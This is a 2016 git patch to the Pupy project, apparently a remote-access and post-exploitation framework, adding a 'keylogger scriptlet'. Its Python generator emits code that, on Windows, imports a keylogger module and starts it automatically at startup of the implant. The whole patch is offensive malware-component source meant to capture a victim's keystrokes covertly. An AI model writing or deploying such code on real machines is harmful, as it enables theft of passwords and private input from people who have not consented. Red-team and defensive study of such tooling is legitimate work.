From 4cfe22d78cce89f105900a103e21e129d997164e Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Thu, 5 May 2016 12:19:14 +0200 Subject: [PATCH] keylogger scriptlet --- pupy/scriptlets/keylogger/__init__.py | 0 pupy/scriptlets/keylogger/generator.py | 22 ++++++++++++++++++++++ 2 files changed, 22 insertions(+) create mode 100644 pupy/scriptlets/keylogger/__init__.py create mode 100644 pupy/scriptlets/keylogger/generator.py diff --git a/pupy/scriptlets/keylogger/__init__.py b/pupy/scriptlets/keylogger/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pupy/scriptlets/keylogger/generator.py b/pupy/scriptlets/keylogger/generator.py new file mode 100644 index 00000000..9b69b8e7 --- /dev/null +++ b/pupy/scriptlets/keylogger/generator.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms +import textwrap, random, string +from scriptlets import * + +class ScriptletGenerator(Scriptlet): + """ start the keylogger at startup """ + + dependencies=[("windows/all/pupwinutils/keylogger.py","pupwinutils.keylogger")] + arguments={} + + def generate(self): + return textwrap.dedent(""" + import sys + if sys.platform=="win32": + import pupwinutils.keylogger + pupwinutils.keylogger.keylogger_start() + """) + +